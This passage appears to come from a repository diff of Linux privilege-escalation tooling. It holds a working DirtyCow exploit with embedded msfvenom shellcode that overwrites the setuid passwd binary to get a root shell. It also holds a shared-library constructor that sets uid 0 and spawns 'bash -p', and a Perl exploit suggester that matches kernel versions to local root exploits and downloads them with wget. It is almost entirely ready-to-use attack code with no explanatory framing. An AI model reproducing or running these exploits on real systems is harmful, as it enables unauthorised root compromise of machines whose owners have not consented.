||||
struct stat st;
|
||||
|
||||
// change if no permissions to read
|
||||
char suid_binary[] = "/usr/bin/passwd";
|
||||
|
||||
/*
|
||||
* $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
|
||||
*/
|
||||
unsigned char shell_code[] = {
|
||||
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
|
||||
0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
|
||||
0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
|
||||
0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
|
||||
0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,
|
||||
0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
|
||||
};
|
||||
unsigned int sc_len = 177;
|
||||
|
||||
/*
|
||||
* $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
|
||||
unsigned char shell_code[] = {
|
||||
0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
|
||||
0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00,
|
||||
0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
|
||||
0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,
|
||||
0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,
|
||||
0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00,
|
||||
0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53,
|
||||
0x89, 0xe1, 0xcd, 0x80
|
||||
};
|
||||
unsigned int sc_len = 136;
|
||||
*/
|
||||
|
||||
void *madviseThread(void *arg) {
|
||||
int i,c=0;
|
||||
for(i=0;i<200000000;i++)
|
||||
c+=madvise(map,100,MADV_DONTNEED);
|
||||
printf("madvise %d\n\n",c);
|
||||
}
|
||||
|
||||
|
||||
int main(int argc,char *argv[]){
|
||||
|
||||
printf(" \n\
|
||||
(___) \n\
|
||||
(o o)_____/ \n\
|
||||
@@ ` \\ \n\
|
||||
\\ ____, /%s \n\
|
||||
// // \n\
|
||||
^^ ^^ \n\
|
||||
", suid_binary);
|
||||
char *backup;
|
||||
printf("DirtyCow root privilege escalation\n");
|
||||
printf("Backing up %s to /tmp/bak\n", suid_binary);
|
||||
asprintf(&backup, "cp %s /tmp/bak", suid_binary);
|
||||
system(backup);
|
||||
|
||||
f=open(suid_binary,O_RDONLY);
|
||||
fstat(f,&st);
|
||||
map=mmap(NULL,st.st_size+sizeof(long),PROT_READ,MAP_PRIVATE,f,0);
|
||||
printf("mmap %x\n\n",map);
|
||||
pid=fork();
|
||||
if(pid){
|
||||
waitpid(pid,NULL,0);
|
||||
int u,i,o,c=0,l=sc_len;
|
||||
for(i=0;i<10000/l;i++)
|
||||
for(o=0;o<l;o++)
|
||||
for(u=0;u<10000;u++)
|
||||
c+=ptrace(PTRACE_POKETEXT,pid,map+o,*((long*)(shell_code+o)));
|
||||
printf("ptrace %d\n\n",c);
|
||||
}
|
||||
else{
|
||||
pthread_create(&pth,
|
||||
NULL,
|
||||
madviseThread,
|
||||
NULL);
|
||||
ptrace(PTRACE_TRACEME);
|
||||
kill(getpid(),SIGSTOP);
|
||||
pthread_join(pth,NULL);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
|
@ -0,0 +1,10 @@
|
|||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
static void hijack() __attribute__((constructor));
|
||||
|
||||
void hijack() {
|
||||
unsetenv("LD_LIBRARY_PATH");
|
||||
setresuid(0,0,0);
|
||||
system("/bin/bash -p");
|
||||
}
|
File diff suppressed because one or more lines are too long
|
@ -0,0 +1,694 @@
|
|||
#!/usr/bin/perl
|
||||
use strict;
|
||||
use warnings;
|
||||
use Getopt::Std;
|
||||
|
||||
our $VERSION = '2';
|
||||
|
||||
my %opts;
|
||||
getopts( 'k:hd', \%opts );
|
||||
if (exists $opts{h}) {
|
||||
usage();
|
||||
exit;
|
||||
};
|
||||
|
||||
print_banner();
|
||||
my ( $khost, $is_partial ) = get_kernel();
|
||||
print " Local Kernel: \e[00;33m$khost\e[00m\n";
|
||||
|
||||
my %exploits = get_exploits();
|
||||
print ' Searching ' . scalar keys(%exploits) . " exploits...\n\n";
|
||||
print " \e[1;35mPossible Exploits\e[00m\n";
|
||||
|
||||
my $count = 1;
|
||||
my @applicable = ();
|
||||
EXPLOIT:
|
||||
foreach my $key ( sort keys %exploits ) {
|
||||
foreach my $kernel ( @{ $exploits{$key}{vuln} } ) {
|
||||
|
||||
if ( $khost eq $kernel
|
||||
or ( $is_partial and index($kernel,$khost) == 0 )
|
||||
) {
|
||||
$exploits{$key}{key} = $key;
|
||||
push(@applicable, $exploits{$key});
|
||||
print " \e[00;33m[\e[00m\e[00;31m$count\e[00m\e[00;33m]\e[00m ";
|
||||
print "\e[00;33m$key\e[00m";
|
||||
print " \e[00;33m($kernel)\e[00m" if $is_partial;
|
||||
|
||||
my $alt = $exploits{$key}{alt};
|
||||
my $cve = $exploits{$key}{cve};
|
||||
my $mlw = $exploits{$key}{mil};
|
||||
if ( $alt or $cve ) {
|
||||
print "\n";
|
||||
}
|
||||
if ( $alt ) { print " Alt: $alt "; }
|
||||
if ( $cve ) { print " CVE-$cve"; }
|
||||
if ( $mlw ) { print "\n Source: $mlw"; }
|
||||
print "\n";
|
||||
$count += 1;
|
||||
next EXPLOIT;
|
||||
}
|
||||
}
|
||||
}
|
||||
print "\n";
|
||||
|
||||
if (!@applicable) {
|
||||
print " No exploits are available for this kernel version\n\n";
|
||||
exit;
|
||||
}
|
||||
|
||||
if (exists $opts{d}) {
|
||||
print " \e[1;36mExploit Download\e[00m\n";
|
||||
print " (Download all: \e[00;33m'a'\e[00m / Individually: \e[00;33m'2,4,5'\e[00m ";
|
||||
print "/ Exit: \e[00;33m^c\e[00m)\n";
|
||||
print " Select exploits to download: ";
|
||||
|
||||
while (1) {
|
||||
my $input = <STDIN>;
|
||||
$input =~ s/\s+//g;
|
||||
|
||||
if ($input =~ /^a$/) {
|
||||
my @selected = ();
|
||||
for (my $i=1; $i <= scalar @applicable; $i++) {
|
||||
push(@selected, $i);
|
||||
}
|
||||
download_exploits(\@selected, \@applicable);
|
||||
last;
|
||||
}
|
||||
elsif ($input =~ /^(0|[1-9][0-9]*)(,(0|[1-9][0-9]*))*$/) {
|
||||
my @selected = uniq(split(',', $input));
|
||||
@selected = sort {$a <=> $b} @selected;
|
||||
if ($selected[0] > 0 && $selected[-1] <= scalar @applicable) {
|
||||
download_exploits(\@selected, \@applicable);
|
||||
last;
|
||||
}
|
||||
else {
|
||||
print " \e[00;31mInput is out of range.\e[00m Select exploits to download: ";
|
||||
}
|
||||
}
|
||||
else {
|
||||
print " \e[00;31mInvalid input.\e[00m Select exploits to download: ";
|
||||
}
|
||||
}
|
||||
};
|
||||
exit;
|
||||
|
||||
######################
|
||||
## extra functions ##
|
||||
######################
|
||||
|
||||
sub get_kernel {
|
||||
my $khost = '';
|
||||
|
||||
if ( exists $opts{k} ) {
|
||||
$khost = $opts{k};
|
||||
}
|
||||
else {
|
||||
$khost = `uname -r |cut -d"-" -f1`;
|
||||
chomp $khost;
|
||||
}
|
||||
|
||||
if (!defined $khost || !($khost =~ /^[0-9]+([.][0-9]+)*$/)) {
|
||||
print " \e[00;31mSpecified kernel is in the wrong format\e[00m\n";
|
||||
print " Try a kernel format like this: 3.2.0\n\n";
|
||||
exit;
|
||||
}
|
||||
|
||||
# partial kernels might be provided by the user,
|
||||
# such as '2.4' or '2.6.'
|
||||
my $is_partial = $khost =~ /^\d+\.\d+\.\d?/ ? 0 : 1;
|
||||
return ( $khost, $is_partial );
|
||||
}
|
||||
|
||||
sub download_exploits {
|
||||
my ($sref, $aref) = @_;
|
||||
my @selected = @{ $sref };
|
||||
my @applicable = @{ $aref };
|
||||
my $exploit_base = "www.exploit-db.com/exploits";
|
||||
my $download_base = "https://www.exploit-db.com/raw/";
|
||||
print "\n";
|
||||
|
||||
foreach my $num (@selected) {
|
||||
my $mil = $applicable[$num-1]{mil};
|
||||
next if (!defined $mil);
|
||||
my ($exploit_num) = ($mil =~ /^.*\/([1-9][0-9]*)\/?$/);
|
||||
|
||||
if ($exploit_num && index($mil, $exploit_base) != -1) {
|
||||
my $url = $download_base . $exploit_num;
|
||||
my $file = "exploit_$applicable[$num-1]{key}";
|
||||
print " Downloading \e[00;33m$url\e[00m -> \e[00;33m$file\e[00m\n";
|
||||
system "wget $url -O $file > /dev/null 2>&1";
|
||||
}
|
||||
else {
|
||||
print " No exploit code available for \e[00;33m$applicable[$num-1]{key}\e[00m\n";
|
||||
}
|
||||
}
|
||||
print "\n";
|
||||
}
|
||||
|
||||
sub uniq {
|
||||
my %seen;
|
||||
grep !$seen{$_}++, @_;
|
||||
}
|
||||
|
||||
sub usage {
|
||||
print_banner();
|
||||
print " \e[00;35mUsage:\e[00m $0 [-h] [-k kernel] [-d]\n\n";
|
||||
print " \e[00;33m[\e[00m\e[00;31m-h\e[00m\e[00;33m]\e[00m Help (this message)\n";
|
||||
print " \e[00;33m[\e[00m\e[00;31m-k\e[00m\e[00;33m]\e[00m Kernel number (eg. 2.6.28)\n";
|
||||
print " \e[00;33m[\e[00m\e[00;31m-d\e[00m\e[00;33m]\e[00m Open exploit download menu\n\n";
|
||||
|
||||
print " You can also provide a partial kernel version (eg. 2.4)\n";
|
||||
print " to see all exploits available.\n\n";
|
||||
}
|
||||
|
||||
sub print_banner {
|
||||
print "\n\e[00;33m #############################\e[00m\n";
|
||||
print "\e[1;31m Linux Exploit Suggester $VERSION\e[00m\n";
|
||||
print "\e[00;33m #############################\e[00m\n\n";
|
||||
}
|
||||
|
||||
sub get_exploits {
|
||||
return (
|
||||
'w00t' => {
|
||||
vuln => [
|
||||
'2.4.10', '2.4.16', '2.4.17', '2.4.18',
|
||||
'2.4.19', '2.4.20', '2.4.21',
|
||||
]
|
||||
},
|
||||
'brk' => {
|
||||
vuln => [ '2.4.10', '2.4.18', '2.4.19', '2.4.20', '2.4.21', '2.4.22' ],
|
||||
},
|
||||
'ave' => { vuln => [ '2.4.19', '2.4.20' ] },
|
||||
|
||||
'elflbl' => {
|
||||
vuln => ['2.4.29'],
|
||||
mil => 'http://www.exploit-db.com/exploits/744',
|
||||
},
|
||||
|
||||
'elfdump' => { vuln => ['2.4.27'] },
|
||||
'elfcd' => { vuln => ['2.6.12'] },
|
||||
'expand_stack' => { vuln => ['2.4.29'] },
|
||||
|
||||
'h00lyshit' => {
|
||||
vuln => [
|
||||
'2.6.8', '2.6.10', '2.6.11', '2.6.12',
|
||||
'2.6.13', '2.6.14', '2.6.15', '2.6.16',
|
||||
],
|
||||
cve => '2006-3626',
|
||||
mil => 'http://www.exploit-db.com/exploits/2013',
|
||||
},
|
||||
|
||||
'kdump' => { vuln => ['2.6.13'] },
|
||||
'km2' => { vuln => [ '2.4.18', '2.4.22' ] },
|
||||
'krad' =>
|
||||
{ vuln => [ '2.6.5', '2.6.7', '2.6.8', '2.6.9', '2.6.10', '2.6.11' ] },
|
||||
|
||||
'krad3' => {
|
||||
vuln => [ '2.6.5', '2.6.7', '2.6.8', '2.6.9', '2.6.10', '2.6.11' ],
|
||||
mil => 'http://exploit-db.com/exploits/1397',
|
||||
},
|
||||
|
||||
'local26' => { vuln => ['2.6.13'] },
|
||||
'loko' => { vuln => [ '2.4.22', '2.4.23', '2.4.24' ] },
|
||||
|
||||
'mremap_pte' => {
|
||||
vuln => [ '2.4.20', '2.2.24', '2.4.25', '2.4.26', '2.4.27' ],
|
||||
mil => 'http://www.exploit-db.com/exploits/160',
|
||||
},
|
||||
|
||||
'newlocal' => { vuln => [ '2.4.17', '2.4.19' ] },
|
||||
'ong_bak' => { vuln => ['2.6.5'] },
|
||||
'ptrace' =>
|
||||
{ vuln => [ '2.4.18', '2.4.19', '2.4.20', '2.4.21', '2.4.22' ] },
|
||||
'ptrace_kmod' => {
|
||||
vuln => [ '2.4.18', '2.4.19', '2.4.20', '2.4.21', '2.4.22' ],
|
||||
cve => '2007-4573',
|
||||
},
|
||||
'ptrace_kmod2' => {
|
||||
vuln => [
|
||||
'2.6.26', '2.6.27', '2.6.28', '2.6.29', '2.6.30', '2.6.31',
|
||||
'2.6.32', '2.6.33', '2.6.34',
|
||||
],
|
||||
alt => 'ia32syscall,robert_you_suck',
|
||||
mil => 'http://www.exploit-db.com/exploits/15023',
|
||||
cve => '2010-3301',
|
||||
},
|
||||
'ptrace24' => { vuln => ['2.4.9'] },
|
||||
'pwned' => { vuln => ['2.6.11'] },
|
||||
'py2' => { vuln => [ '2.6.9', '2.6.17', '2.6.15', '2.6.13' ] },
|
||||
'raptor_prctl' => {
|
||||
vuln => [ '2.6.13', '2.6.14', '2.6.15', '2.6.16', '2.6.17' ],
|
||||
cve => '2006-2451',
|
||||
mil => 'http://www.exploit-db.com/exploits/2031',
|
||||
},
|
||||
'prctl' => {
|
||||
vuln => [ '2.6.13', '2.6.14', '2.6.15', '2.6.16', '2.6.17' ],
|
||||
mil => 'http://www.exploit-db.com/exploits/2004',
|
||||
},
|
||||
'prctl2' => {
|
||||
vuln => [ '2.6.13', '2.6.14', '2.6.15', '2.6.16', '2.6.17' ],
|
||||
mil => 'http://www.exploit-db.com/exploits/2005',
|
||||
},
|
||||
'prctl3' => {
|
||||
vuln => [ '2.6.13', '2.6.14', '2.6.15', '2.6.16', '2.6.17' ],
|
||||
mil => 'http://www.exploit-db.com/exploits/2006',
|
||||
},
|
||||
'prctl4' => {
|
||||
vuln => [ '2.6.13', '2.6.14', '2.6.15', '2.6.16', '2.6.17' ],
|
||||
mil => 'http://www.exploit-db.com/exploits/2011',
|
||||
},
|
||||
'remap' => { vuln => ['2.4'] },
|
||||
'rip' => { vuln => ['2.2'] },
|
||||
'stackgrow2' => { vuln => [ '2.4.29', '2.6.10' ] },
|
||||
'uselib24' => {
|
||||
vuln => [ '2.6.10', '2.4.17', '2.4.22', '2.4.25', '2.4.27', '2.4.29' ]
|
||||
},
|
||||
'newsmp' => { vuln => ['2.6'] },
|
||||
'smpracer' => { vuln => ['2.4.29'] },
|
||||
'loginx' => { vuln => ['2.4.22'] },
|
||||
'exp.sh' => { vuln => [ '2.6.9', '2.6.10', '2.6.16', '2.6.13' ] },
|
||||
'vmsplice1' => {
|
||||
vuln => [
|
||||
'2.6.17', '2.6.18', '2.6.19', '2.6.20', '2.6.21', '2.6.22',
|
||||
'2.6.23', '2.6.24', '2.6.24.1',
|
||||
],
|
||||
alt => 'jessica biel',
|
||||
cve => '2008-0600',
|
||||
mil => 'http://www.exploit-db.com/exploits/5092',
|
||||
},
|
||||
'vmsplice2' => {
|
||||
vuln => [ '2.6.23', '2.6.24' ],
|
||||
alt => 'diane_lane',
|
||||
cve => '2008-0600',
|
||||
mil => 'http://www.exploit-db.com/exploits/5093',
|
||||
},
|
||||
'vconsole' => {
|
||||
vuln => ['2.6'],
|
||||
cve => '2009-1046',
|
||||
},
|
||||
'sctp' => {
|
||||
vuln => ['2.6.26'],
|
||||
cve => '2008-4113',
|
||||
},
|
||||
'ftrex' => {
|
||||
vuln => [
|
||||
'2.6.11', '2.6.12', '2.6.13', '2.6.14', '2.6.15', '2.6.16',
|
||||
'2.6.17', '2.6.18', '2.6.19', '2.6.20', '2.6.21', '2.6.22',
|
||||
],
|
||||
cve => '2008-4210',
|
||||
mil => 'http://www.exploit-db.com/exploits/6851',
|
||||
},
|
||||
'exit_notify' => {
|
||||
vuln => [ '2.6.25', '2.6.26', '2.6.27', '2.6.28', '2.6.29' ],
|
||||
mil => 'http://www.exploit-db.com/exploits/8369',
|
||||
},
|
||||
'udev' => {
|
||||
vuln => [ '2.6.25', '2.6.26', '2.6.27', '2.6.28', '2.6.29' ],
|
||||
alt => 'udev <1.4.1',
|
||||
cve => '2009-1185',
|
||||
mil => 'http://www.exploit-db.com/exploits/8478',
|
||||
},
|
||||
|
||||
'sock_sendpage2' => {
|
||||
vuln => [
|
||||
'2.4.4', '2.4.5', '2.4.6', '2.4.7', '2.4.8', '2.4.9',
|
||||
'2.4.10', '2.4.11', '2.4.12', '2.4.13', '2.4.14', '2.4.15',
|
||||
'2.4.16', '2.4.17', '2.4.18', '2.4.19', '2.4.20', '2.4.21',
|
||||
'2.4.22', '2.4.23', '2.4.24', '2.4.25', '2.4.26', '2.4.27',
|
||||
'2.4.28', '2.4.29', '2.4.30', '2.4.31', '2.4.32', '2.4.33',
|
||||
'2.4.34', '2.4.35', '2.4.36', '2.4.37', '2.6.0', '2.6.1',
|
||||
'2.6.2', '2.6.3', '2.6.4', '2.6.5', '2.6.6', '2.6.7',
|
||||
'2.6.8', '2.6.9', '2.6.10', '2.6.11', '2.6.12', '2.6.13',
|
||||
'2.6.14', '2.6.15', '2.6.16', '2.6.17', '2.6.18', '2.6.19',
|
||||
'2.6.20', '2.6.21', '2.6.22', '2.6.23', '2.6.24', '2.6.25',
|
||||
'2.6.26', '2.6.27', '2.6.28', '2.6.29', '2.6.30',
|
||||
],
|
||||
alt => 'proto_ops',
|
||||
cve => '2009-2692',
|
||||
mil => 'http://www.exploit-db.com/exploits/9436',
|
||||
},
|
||||
|
||||
'sock_sendpage' => {
|
||||
vuln => [
|
||||
'2.4.4', '2.4.5', '2.4.6', '2.4.7', '2.4.8', '2.4.9',
|
||||
'2.4.10', '2.4.11', '2.4.12', '2.4.13', '2.4.14', '2.4.15',
|
||||
'2.4.16', '2.4.17', '2.4.18', '2.4.19', '2.4.20', '2.4.21',
|
||||
'2.4.22', '2.4.23', '2.4.24', '2.4.25', '2.4.26', '2.4.27',
|
||||
'2.4.28', '2.4.29', '2.4.30', '2.4.31', '2.4.32', '2.4.33',
|
||||
'2.4.34', '2.4.35', '2.4.36', '2.4.37', '2.6.0', '2.6.1',
|
||||
'2.6.2', '2.6.3', '2.6.4', '2.6.5', '2.6.6', '2.6.7',
|
||||
'2.6.8', '2.6.9', '2.6.10', '2.6.11', '2.6.12', '2.6.13',
|
||||
'2.6.14', '2.6.15', '2.6.16', '2.6.17', '2.6.18', '2.6.19',
|
||||
'2.6.20', '2.6.21', '2.6.22', '2.6.23', '2.6.24', '2.6.25',
|
||||
'2.6.26', '2.6.27', '2.6.28', '2.6.29', '2.6.30',
|
||||
],
|
||||
alt => 'wunderbar_emporium',
|
||||
cve => '2009-2692',
|
||||
mil => 'http://www.exploit-db.com/exploits/9435',
|
||||
},
|
||||
'udp_sendmsg_32bit' => {
|
||||
vuln => [
|
||||
'2.6.1', '2.6.2', '2.6.3', '2.6.4', '2.6.5', '2.6.6',
|
||||
'2.6.7', '2.6.8', '2.6.9', '2.6.10', '2.6.11', '2.6.12',
|
||||
'2.6.13', '2.6.14', '2.6.15', '2.6.16', '2.6.17', '2.6.18',
|
||||
'2.6.19',
|
||||
],
|
||||
cve => '2009-2698',
|
||||
mil =>
|
||||
'http://downloads.securityfocus.com/vulnerabilities/exploits/36108.c',
|
||||
},
|
||||
'pipe.c_32bit' => {
|
||||
vuln => [
|
||||
'2.4.4', '2.4.5', '2.4.6', '2.4.7', '2.4.8', '2.4.9',
|
||||
'2.4.10', '2.4.11', '2.4.12', '2.4.13', '2.4.14', '2.4.15',
|
||||
'2.4.16', '2.4.17', '2.4.18', '2.4.19', '2.4.20', '2.4.21',
|
||||
'2.4.22', '2.4.23', '2.4.24', '2.4.25', '2.4.26', '2.4.27',
|
||||
'2.4.28', '2.4.29', '2.4.30', '2.4.31', '2.4.32', '2.4.33',
|
||||
'2.4.34', '2.4.35', '2.4.36', '2.4.37', '2.6.15', '2.6.16',
|
||||
'2.6.17', '2.6.18', '2.6.19', '2.6.20', '2.6.21', '2.6.22',
|
||||
'2.6.23', '2.6.24', '2.6.25', '2.6.26', '2.6.27', '2.6.28',
|
||||
'2.6.29', '2.6.30', '2.6.31',
|
||||
],
|
||||
cve => '2009-3547',
|
||||
mil =>
|
||||
'http://www.securityfocus.com/data/vulnerabilities/exploits/36901-1.c',
|
||||
},
|
||||
'do_pages_move' => {
|
||||
vuln => [
|
||||
'2.6.18', '2.6.19', '2.6.20', '2.6.21', '2.6.22', '2.6.23',
|
||||
'2.6.24', '2.6.25', '2.6.26', '2.6.27', '2.6.28', '2.6.29',
|
||||
'2.6.30', '2.6.31',
|
||||
],
|
||||
alt => 'sieve',
|
||||
cve => '2010-0415',
|
||||
mil => 'Spenders Enlightenment',
|
||||
},
|
||||
'reiserfs' => {
|
||||
vuln => [
|
||||
'2.6.18', '2.6.19', '2.6.20', '2.6.21', '2.6.22', '2.6.23',
|
||||
'2.6.24', '2.6.25', '2.6.26', '2.6.27', '2.6.28', '2.6.29',
|
||||
'2.6.30', '2.6.31', '2.6.32', '2.6.33', '2.6.34',
|
||||
],
|
||||
cve => '2010-1146',
|
||||
mil => 'http://www.exploit-db.com/exploits/12130',
|
||||
},
|
||||
'can_bcm' => {
|
||||
vuln => [
|
||||
'2.6.18', '2.6.19', '2.6.20', '2.6.21', '2.6.22', '2.6.23',
|
||||
'2.6.24', '2.6.25', '2.6.26', '2.6.27', '2.6.28', '2.6.29',
|
||||
'2.6.30', '2.6.31', '2.6.32', '2.6.33', '2.6.34', '2.6.35',
|
||||
'2.6.36',
|
||||
],
|
||||
cve => '2010-2959',
|
||||
mil => 'http://www.exploit-db.com/exploits/14814',
|
||||
},
|
||||
'rds' => {
|
||||
vuln => [
|
||||
'2.6.30', '2.6.31', '2.6.32', '2.6.33',
|
||||
'2.6.34', '2.6.35', '2.6.36',
|
||||
],
|
||||
mil => 'http://www.exploit-db.com/exploits/15285',
|
||||
cve => '2010-3904',
|
||||
},
|
||||
'half_nelson1' => {
|
||||
vuln => [
|
||||
'2.6.0', '2.6.1', '2.6.2', '2.6.3', '2.6.4', '2.6.5',
|
||||
'2.6.6', '2.6.7', '2.6.8', '2.6.9', '2.6.10', '2.6.11',
|
||||
'2.6.12', '2.6.13', '2.6.14', '2.6.15', '2.6.16', '2.6.17',
|
||||
'2.6.18', '2.6.19', '2.6.20', '2.6.21', '2.6.22', '2.6.23',
|
||||
'2.6.24', '2.6.25', '2.6.26', '2.6.27', '2.6.28', '2.6.29',
|
||||
'2.6.30', '2.6.31', '2.6.32', '2.6.33', '2.6.34', '2.6.35',
|
||||
'2.6.36',
|
||||
],
|
||||
alt => 'econet',
|
||||
cve => '2010-3848',
|
||||
mil => 'http://www.exploit-db.com/exploits/17787',
|
||||
},
|
||||
'half_nelson2' => {
|
||||
vuln => [
|
||||
'2.6.0', '2.6.1', '2.6.2', '2.6.3', '2.6.4', '2.6.5',
|
||||
'2.6.6', '2.6.7', '2.6.8', '2.6.9', '2.6.10', '2.6.11',
|
||||
'2.6.12', '2.6.13', '2.6.14', '2.6.15', '2.6.16', '2.6.17',
|
||||
'2.6.18', '2.6.19', '2.6.20', '2.6.21', '2.6.22', '2.6.23',
|
||||
'2.6.24', '2.6.25', '2.6.26', '2.6.27', '2.6.28', '2.6.29',
|
||||
'2.6.30', '2.6.31', '2.6.32', '2.6.33', '2.6.34', '2.6.35',
|
||||
'2.6.36',
|
||||
],
|
||||
alt => 'econet',
|
||||
cve => '2010-3850',
|
||||
mil => 'http://www.exploit-db.com/exploits/17787',
|
||||
},
|
||||
'half_nelson3' => {
|
||||
vuln => [
|
||||
'2.6.0', '2.6.1', '2.6.2', '2.6.3', '2.6.4', '2.6.5',
|
||||
'2.6.6', '2.6.7', '2.6.8', '2.6.9', '2.6.10', '2.6.11',
|
||||
'2.6.12', '2.6.13', '2.6.14', '2.6.15', '2.6.16', '2.6.17',
|
||||
'2.6.18', '2.6.19', '2.6.20', '2.6.21', '2.6.22', '2.6.23',
|
||||
'2.6.24', '2.6.25', '2.6.26', '2.6.27', '2.6.28', '2.6.29',
|
||||
'2.6.30', '2.6.31', '2.6.32', '2.6.33', '2.6.34', '2.6.35',
|
||||
'2.6.36',
|
||||
],
|
||||
alt => 'econet',
|
||||
cve => '2010-4073',
|
||||
mil => 'http://www.exploit-db.com/exploits/17787',
|
||||
},
|
||||
'caps_to_root' => {
|
||||
vuln => [ '2.6.34', '2.6.35', '2.6.36' ],
|
||||
cve => 'n/a',
|
||||
mil => 'http://www.exploit-db.com/exploits/15916',
|
||||
},
|
||||
'american-sign-language' => {
|
||||
vuln => [
|
||||
'2.6.0', '2.6.1', '2.6.2', '2.6.3', '2.6.4', '2.6.5',
|
||||
'2.6.6', '2.6.7', '2.6.8', '2.6.9', '2.6.10', '2.6.11',
|
||||
'2.6.12', '2.6.13', '2.6.14', '2.6.15', '2.6.16', '2.6.17',
|
||||
'2.6.18', '2.6.19', '2.6.20', '2.6.21', '2.6.22', '2.6.23',
|
||||
'2.6.24', '2.6.25', '2.6.26', '2.6.27', '2.6.28', '2.6.29',
|
||||
'2.6.30', '2.6.31', '2.6.32', '2.6.33', '2.6.34', '2.6.35',
|
||||
'2.6.36',
|
||||
],
|
||||
cve => '2010-4347',
|
||||
mil => 'http://www.securityfocus.com/bid/45408',
|
||||
},
|
||||
'pktcdvd' => {
|
||||
vuln => [
|
||||
'2.6.0', '2.6.1', '2.6.2', '2.6.3', '2.6.4', '2.6.5',
|
||||
'2.6.6', '2.6.7', '2.6.8', '2.6.9', '2.6.10', '2.6.11',
|
||||
'2.6.12', '2.6.13', '2.6.14', '2.6.15', '2.6.16', '2.6.17',
|
||||
'2.6.18', '2.6.19', '2.6.20', '2.6.21', '2.6.22', '2.6.23',
|
||||
'2.6.24', '2.6.25', '2.6.26', '2.6.27', '2.6.28', '2.6.29',
|
||||
'2.6.30', '2.6.31', '2.6.32', '2.6.33', '2.6.34', '2.6.35',
|
||||
'2.6.36',
|
||||
],
|
||||
cve => '2010-3437',
|
||||
mil => 'http://www.exploit-db.com/exploits/15150',
|
||||
},
|
||||
'video4linux' => {
|
||||
vuln => [
|
||||
'2.6.0', '2.6.1', '2.6.2', '2.6.3', '2.6.4', '2.6.5',
|
||||
'2.6.6', '2.6.7', '2.6.8', '2.6.9', '2.6.10', '2.6.11',
|
||||
'2.6.12', '2.6.13', '2.6.14', '2.6.15', '2.6.16', '2.6.17',
|
||||
'2.6.18', '2.6.19', '2.6.20', '2.6.21', '2.6.22', '2.6.23',
|
||||
'2.6.24', '2.6.25', '2.6.26', '2.6.27', '2.6.28', '2.6.29',
|
||||
'2.6.30', '2.6.31', '2.6.32', '2.6.33',
|
||||
],
|
||||
cve => '2010-3081',
|
||||
mil => 'http://www.exploit-db.com/exploits/15024',
|
||||
},
|
||||
'memodipper' => {
|
||||
vuln => [
|
||||
'2.6.39', '3.0.0', '3.0.1', '3.0.2', '3.0.3', '3.0.4',
|
||||
'3.0.5', '3.0.6', '3.1.0',
|
||||
],
|
||||
cve => '2012-0056',
|
||||
mil => 'http://www.exploit-db.com/exploits/18411',
|
||||
},
|
||||
'semtex' => {
|
||||
vuln => [
|
||||
'2.6.37', '2.6.38', '2.6.39', '3.0.0', '3.0.1', '3.0.2',
|
||||
'3.0.3', '3.0.4', '3.0.5', '3.0.6', '3.1.0',
|
||||
],
|
||||
cve => '2013-2094',
|
||||
mil => 'http://www.exploit-db.com/exploits/25444',
|
||||
},
|
||||
'perf_swevent' => {
|
||||
vuln => [
|
||||
'3.0.0', '3.0.1', '3.0.2', '3.0.3', '3.0.4', '3.0.5',
|
||||
